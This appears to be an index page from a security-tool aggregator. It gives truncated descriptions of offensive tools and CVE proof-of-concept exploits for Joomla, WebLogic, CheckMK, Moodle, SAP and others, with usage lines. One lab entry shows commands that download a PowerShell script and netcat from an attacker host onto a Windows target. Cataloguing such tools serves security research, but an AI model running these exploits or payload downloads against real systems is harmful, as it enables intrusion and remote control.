satellite

satellite Satellite — это веб-сервис для размещения полезных нагрузок payload, который фильтрует запросы, чтобы гарантировать, что полезная нагрузка попадает к правильной цели. Этот сервис также может быть полезен для размещения файлов, доступ к которым должен осуществляться только в очень...

VeilTransfer

VeilTransfer 2.0 VeilTransfer は、検知能力をテスト・強化するために設計されたデータ窃取（データ外部送信）ユーティリティです。このツールは、高度な脅威アクターが使用する現実的なデータ窃取手法をシミュレートし、組織がセキュリティ態勢を評価・改善することを可能にします。MEGA、GitHub、SFTP、WebDAV など、複数の窃取方法を活用することで、VeilTransfer は防御のギャップを特定し、セキュリティソリューションが現代のデータ侵害に対抗できるようにします。 対応している窃取方法 MEGA GitHub Dropbox Telegram...

CVE-2023-23752-EXPLOIT

CVE-2023-23752 - Joomla: неправильная проверка доступа В версиях Joomla с 4.0.0 по 4.2.7 обнаружена проблема. Эта уязвимость связана с неправильной проверкой доступа в приложении, что позволяет несанкционированно получать доступ к критическим конечным точкам веб-сервисов. Доказательство концепции...

WSSAT

WSSAT - Инструмент оценки безопасности веб-сервисов WSSAT — это инструмент с открытым исходным кодом для сканирования безопасности веб-сервисов, который предоставляет динамическую среду для добавления, обновления или удаления уязвимостей простым редактированием его конфигурационных файлов. Этот...

frp

frp README | 中文文档 Sponsors frp is an open source project with its ongoing development made possible entirely by the support of our awesome sponsors. If you'd like to join them, please consider sponsoring frp's development. Gold Sponsors The complete IDE crafted for professional Go developers The...

Nanobrok

Nanobrok Веб-сервис Веб-сервис, написанный на Python для удаленного управления и защиты вашего Android-устройства. Официальное приложение можно найти в PlayStore: NanobrokPro Nanobrok Community Обзор Nanobrok-Server — это мощный веб-сервис с открытым исходным кодом для управления и защиты вашего...

cve-2017-10271-poc

CVE-2017-10271 POC Введение Это автотест PoC для CVE-2017-10271. Протестировано на CentOS 7 и Windows 7/10. Сборка Этот проект написан на языке Rust. Сначала необходимо установить окружение Rust с сайта https://www.rust-lang.org/, а затем собрать проект с помощью следующего кода. root@kitploit: $...

CVE-2018-2636

Установка root@kitploit: $ pip install --user requests argparse unicodedata Информация POC для CVE-2018-2636. Пример использования root@kitploit: python eGw.py -H 127.0.0.1 -P 8080 -i ... Let's get info about server ! Your instance is vulnerable to CVE-2018-2636 ... Ссылки Критическое обновление...

CVE-2021-40906

CVE-2021-40906 - Отраженный XSS в неаутентифицированной зоне Приложение: CheckMK Management Web Console Версия ПО: С 1.5.0 по 1.5.0p25 Автор: Edgar Augusto Loyola Torres. Тип атаки: Отраженный XSS Решение: Обновите до версии ПО 1.6.0p26 или новее Краткое описание: Программное обеспечение CheckMK...

CVE-2024-7399-POC

CVE-2024-7399 Эксплойт для CVE-2024-7399. Более подробную информацию можно найти здесь: https://davidxbors.github.io/0xpages/posts/cve-2024-7399/. Использование: root@kitploit: python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute...

CVE-2023-34924

CVE-2023-34924 Уязвимость переполнения буфера маршрутизатора H3CMagicB1STV100R012 Информация о CVE: root@kitploit: • the name of an affected Product: H3C Magic B1STW B1STV100R012 router • the affected or fixed versions: affected version: H3C-Magic-B1STW - H3CMagicB1STV100R012. Fixed version: none...

rematch

|Read The Docs| |Gitter Chat| |Build Status| |Codacy Badge| |idaplugin PyPI| |server PyPI| rematch REmatch, еще один инструмент для сравнения бинарных файлов. Rematch все еще находится в разработке и не так богат функциями, как нам хотелось бы. Базовый функционал уже доступен, а более продвинутые...

CVE-2021-40438

CVE-2021-40438 сборка root@kitploit: docker build -t cve-2021-40438:1.0 . запуск root@kitploit: docker run --rm -d -p 4444:80 cve-2021-40438:1.0 проверка CVE-2021-40438 root@kitploit: ./main.sh...

CVE-2021-42913

CVE-2021-42913 Принтер Samsung SCX-6X55X: неправильный контроль доступа Веб-сервис SyncThru серии принтеров Samsung SCX-6x55X подвержен уязвимости неправильного контроля доступа. Эта уязвимость может позволить злоумышленнику получить доступ к списку пользователей и паролей SMB...

CVE-2022-0332

CVE-2022-0332 Moodle 3.11 до 3.11.4 - SQL-инъекция POC root@kitploit: GET...

CVE-2020-6286

CVE-2020-6286 SAP NetWeaver AS JAVA LM Configuration Wizard Обход каталогов SAP NetWeaver — это интегрированная технологическая платформа SAP и техническая основа всех приложений SAP, начиная с SAP Business Suite. SAP NetWeaver представляет собой сервис-ориентированную платформу для приложений и...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2023-23752

Joomla! options...

CVE-2020-9047

Меню использования/справки root@kitploit: usage: CVE-2020-9047.py -h -p RPORT -s LPORT --command -d WEBDIR -U USERNAME -P PASSWORD WINDOWS,LINUX,CHECK RHOST LHOST PAYLOAD Exploit for exacqVision Web Service as outlined in CVE-2020-9047. This program targets Windows and Linux x86 installations of...

CVE-2026-91147

A denial-of-service flaw was identified in cockpit-ws , the web service component of Cockpit . When WebService.UrlRoot is configured, a remote, unauthenticated attacker can cause cockpit-ws to terminate unexpectedly by sending a request to the exact URL-root prefix without a trailing slash . The ...